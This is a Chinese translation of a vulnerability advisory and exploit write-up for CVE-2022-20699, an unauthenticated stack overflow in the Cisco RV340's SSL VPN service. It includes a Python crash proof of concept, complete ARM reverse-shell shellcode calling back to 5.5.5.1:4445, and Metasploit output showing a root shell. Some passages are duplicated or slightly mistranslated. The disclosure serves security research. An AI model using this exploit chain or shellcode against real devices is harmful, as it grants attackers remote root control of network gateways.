导语:本文描述的漏洞存在于Cisco RV340中,固件版本最高(包括 v1.0.03.24), Flashback 团队于 2021 年 11 月在ZDI的Pwn2Own Austin 2021比赛中首次披露。
0x01 背景描述
本文描述的漏洞存在于Cisco RV340中,固件版本最高(包括 v1.0.03.24), Flashback 团队于 2021 年 11 月在ZDI的Pwn2Own Austin 2021比赛中首次披露。
https://www.cisco.com/c/en/us/products/routers/rv340-dual-gigabit-wan-vpn-router/index.html
思科已于2022年 2 月发布了更新的固件版本(v1.0.03.26),修复了此公告中描述的漏洞。思科添加了stack cookies、non executable stack、缓冲区大小检测并使用了内存安全函数。
未经身份验证的攻击者可通过广域网 WAN接口利用默认的 AnyConnect VPN 配置,利用SSL VPN 模块 sslvpnd 中存在的漏洞在 RV340 上实现远程代码执行。。
该漏洞利用链由两个漏洞来实现代码执行:
∎栈溢出漏洞 ( CVE-2022-20699 )
∎内存配置不正确(读-写-执行栈)
本文中的所有代码均来自固件版本 v1.0.03.22 。
此漏洞首次在OffensiveCon 2022上公开展示,该公告还发布了一个配套的Metasploit 模块,该模块实现了完整的远程漏洞利用。
https://www.offensivecon.org/speakers/2022/radek-domanski-and-pedro-ribeiro.htmlhttps://github.com/rapid7/metasploit-framework/pull/16169
0x02 漏洞详情
1.SSL VPN 介绍
Cisco RV340 是一个 VPN 网关,它实现了几种不同的 VPN 协议。
其中之一的 Cisco AnyConnect 称为“SSL VPN”,默认情况下监听 WAN 接口上的 TCP 端口 8443。用户可以连接 Cisco VPN 客户端 (AnyConnect) 并与路由器建立 VPN 隧道。
https://www.cisco.com/c/en/us/support/docs/smb/routers/cisco-rv-series-small-business-routers/smb5535-anyconnect-licensing-for-the-rv340-series-routers.html
图 1:Cisco AnyConnect VPN 会话建立
二进制文件sslvpnd由/usr/bin/sslvpnd_monitor控制,它会不断检查sslvpnd是否正在正常运行,如果二进制文件没有运行,它将自动重新启动。
当客户端连接到sslvpnd服务时,它会产生处理请求的新线程。作为该操作的一部分,将调用FUN_00053fe8函数(connection_loop)。此函数创建两个大缓冲区,每个0x4000。
char PACKET_IN [16384]; char body_buf [16388];
它们用于保存 HTTP 请求头和 HTTP 正文。首先,PACKET_IN缓冲区被初始化,HTTP 头被读入缓冲区,最多可以保存 0x4000 字节:
memset(PACKET_IN,0,0x4000); /* This first reads only a HTTP header, without body */num_bytes_read = nonblocking_ssl_read(param_1,PACKET_IN,0x4000);
接下来,下面的函数会检查HTTP头部分有多大,它将结果存储在num_bytes_read局部变量中,并返回指向Header结尾的指针:
iVar3 = find_end_of_hdrs(PACKET_IN,num_bytes_read);
如果请求有正文,则将其作为下一步读取内容。它最多可读取 0x4000 字节,因此非常适合分配的空间。
if (( int )num_bytes_read < HTTP_hdr_size + Content_len_val) { memset (body_buf, 0 , 0x4000 ); (...) num_bytes_read = nonblocking_ssl_read (param_1,body_buf, 0x4000 );
此时,HTTP 头和正文被读入相应的缓冲区。
图 2:PACKET_IN和BODY_BUF
接下来,strncat调用一个函数,它将缓冲区一起移动到 1 个连续空间中。size 参数不会超过 0x4000,因为它受nonblocking_ssl_read读取限制。
strncat (PACKET_IN,body_buf,num_bytes_read);
因此,如果已发送整个 0x4000 字节,情况就会变得有趣。由于我们已经在PACKET_IN缓冲区中有数据,它与主体数据包连接,有效地溢出缓冲区边界。
图 3:正文溢出
一个明显的问题出现了,我们可以这样继续溢出BODY_BUF吗?
不幸的是,这似乎是不可能的。如果我们发送更多数据,BODY_BUF将首先用空字节清除,然后再读取新数据。这意味着每次调用strncpy()函数时,我们都会将最大0x4000字节连接到缓冲区的末尾。但是BODY_BUF足够大,可以保存这些数据,所以不会发生溢出。
当所有数据都被读取后,缓冲区被插入到一个特殊的队列中以进行进一步的处理。负责它的函数之一是FUN_0004abbc( sslserver_recv_data_notify_msg_insert)。这就是漏洞所在!
2.缓冲区溢出漏洞
从connection_loop函数调用sslserver_recv_data_notify_msg_insert,这里有 2 个参数很重要:
∎PACKET_IN:攻击者控制内容的缓冲区
∎num_bytes_read: 读取的总字节数,攻击者也可以控制这个参数。
sslserver_recv_data_notify_msg_insert (param_1,PACKET_IN,num_bytes_read & 0xffff ,uVar6);
sslserver_recv_data_notify_msg_insert函数栈布局如下:
pthread_t pVar1; int iVar2; undefined4 uVar3; undefined4 uStack16432; undefined4 local_402c; undefined auStack16424 [16384]; // <- vulnerable buffer undefined2 uStack40; undefined4 uStack36;
栈上有一个大缓冲区,设计为最多可容纳 0x4000 字节。在函数执行的后面,memcpy()函数将数据复制到这个缓冲区中。
memcpy (auStack16424,PACKET_IN,num_bytes_read);
由于前面提到的连接这两个0x4000缓冲区的strncat()函数,此实现没有考虑缓冲区中PACKET_IN的数据长度可能高达0x8000字节。因此,当发送大数据包时,我们可以使栈缓冲区溢出并覆盖返回地址。
图 4:栈溢出
FILLER = b'\x04' * (16400)PC = b"\xcc\xcc\xcc\xcc\x00"url = "https://%s:8443/" % TARGETpayload = FILLER + PCr = requests.post(url, data=payload, verify=False)
[New Thread 30958.313]Thread 10 "sslvpnd" received signal SIGSEGV, Segmentation fault.[Switching to Thread 30958.313]0xcccccccc in ?? ()(gdb) info registers r0 0x0 0r1 0x81 129r2 0x1 1r3 0x1 1r4 0x4040404 67372036r5 0x4040404 67372036r6 0xcccccccc 3435973836r7 0x4040404 67372036r8 0x4040404 67372036r9 0x4040404 67372036r10 0x4040404 67372036r11 0x18f89c 1636508r12 0x0 0sp 0x704aebe8 0x704aebe8lr 0x1 1pc 0xcccccccc 0xcccccccccpsr 0x600f0010 1611595792(gdb)
3.内存配置不当漏洞
虽然存在堆栈溢出漏洞,但我们的受控缓冲区是使用strncat()创建的。有可能注入一个终止NULL空字节,该NULL字节将被$pc获取,从而让攻击者控制程序的执行。但是,使用strncat()意味着缓冲区中不能存在空字节,这会使ROP链的构造复杂化。
sslvpnd二进制文件的数据段和文本段被映射到一个内存段,该内存段要求地址中包含空字节。
00010000-00172000 r-xp 00000000 00:0d 2279 /usr/bin/sslvpnd 00181000-00195000 rw-p 00161000 00:0d 2279 /usr/bin/sslvpnd
所有共享库都是随机的,这意味着我们需要一个信息泄漏漏洞才能可靠地知道库函数地址。也没有找到任何有用的代码可以立即实现远程执行代码,比如使用单个 ROP 指令。但是,文件映射栈地址具有读写执行RWX权限!
00010000-00172000 r-xp 00000000 00:0d 2279 /usr/bin/sslvpnd00181000-00195000 rw-p 00161000 00:0d 2279 /usr/bin/sslvpnd
这意味着获得任意代码执行所需的只是将 shellcode 放在栈上并跳转过去。
图 5:Shellcode
当我们控制 的内容时,这似乎是放置 shellcode 的完美候选者。从我们的观察来看,由于使用了正在使用的线程,栈地址似乎非常轻微地随机化。奇怪的是,我们的缓冲区地址似乎保持不变,因为栈的一部分并不总是随机化的,而其他一些部分则是随机化的。虽然这对于利用来说非常棒,但我们对此感到困惑并且不知道为什么会发生这种情况。欢迎对此提出任何意见!
当我们控制PACKET_IN的内容时,这似乎是放置shellcode的完美位置。根据我们的观察,由于使用了线程,堆栈地址似乎很容易随机化。奇怪的是,我们的缓冲区地址是保持不变的,因为堆栈的一部分并不总是随机的,而其他部分则是随机的。虽然这对于漏洞利用来说是非常棒的,但我们对此感到困惑,不知道为什么会发生这种情况。
0x03 利用开发
1.Shellcode
我们的 shellcode 是一个到 5.5.5.1:4445 的 TCP 反向 shell,使用execve()没有空字节的系统调用。shellcode 以dsb和isb指令开始,这些指令会处理 ARMv7 上的 D-cache 和 I-cache 刷新,这会确保在控制执行后 CPU 可以在栈上看到我们的 shellcode。之后,shellcode 会切换到 thumb 模式,这使我们能够编写更紧凑的 shellcode。
在构建 shellcode 时,我们必须记住它是由strncat()处理的。因此,它不能包含任何空字节,这就是为什么命令字符串以“X”字符结尾,然后在指令strb r2[r0,#7]中用空字节替换。
// Taken from Azeria's website and slightly modified.global _start_start: .ARM// Clear cache dsb isb add r3, pc, #1 // switch to thumb mode bx r3.THUMB// socket(2, 1, 0) mov r0, #2 mov r1, #1 sub r2, r2 mov r7, #200 add r7, #81 // r7 = 281 (socket) svc #1 // r0 = resultant sockfd mov r4, r0 // save sockfd in r4// connect(r0, &sockaddr, 16) adr r1, struct // pointer to address, port strb r2, [r1, #1] // write 0 for AF_INET mov r2, #16 add r7, #2 // r7 = 283 (connect) svc #1// dup2(sockfd, 0) mov r7, #63 // r7 = 63 (dup2) mov r0, r4 // r4 is the saved sockfd sub r1, r1 // r1 = 0 (stdin) svc #1// dup2(sockfd, 1) mov r0, r4 // r4 is the saved sockfd mov r1, #1 // r1 = 1 (stdout) svc #1// dup2(sockfd, 2) mov r0, r4 // r4 is the saved sockfd mov r1, #2 // r1 = 2 (stderr) svc #1// execve("/bin/sh", 0, 0) adr r0, binsh sub r2, r2 sub r1, r1 strb r2, [r0, #7] push {r0, r2} mov r1, sp cpy r2, r1 mov r7, #11 // r7 = 11 (execve) svc #1 eor r7, r7, r7struct:.ascii "\x02\xff" // AF_INET 0xff will be NULLed.ascii "\x11\x5d" // port number 4445.byte 5,5,5,1 // IP Addressbinsh:.ascii "/bin/shX"
当 shellcode 执行时,它将创建一个在5.5.5.1:4445监听的TCP套接字,并将stdin、stout、stderr复制到该套接字文件描述符。接收到连接后,调用execve()系统调用,生成一个/bin/sh(busybox sh),这样就可以获得root shell!
2.利用验证
msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check[*] 5.55.55.62:8443 - The service is running, but could not be validated.msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit[*] Started reverse TCP handler on 5.55.55.1:4445[*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version 5.55.55.62:41976 ) at 2022-02-10 20:12:18 +0000iduid=0(root) gid=0(root)uname -aLinux router138486 4.1.8 #2 SMP Fri Oct 22 09:50:26 IST 2021 armv7l GNU/Linux
本文翻译自:https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md如若转载,请注明原文地址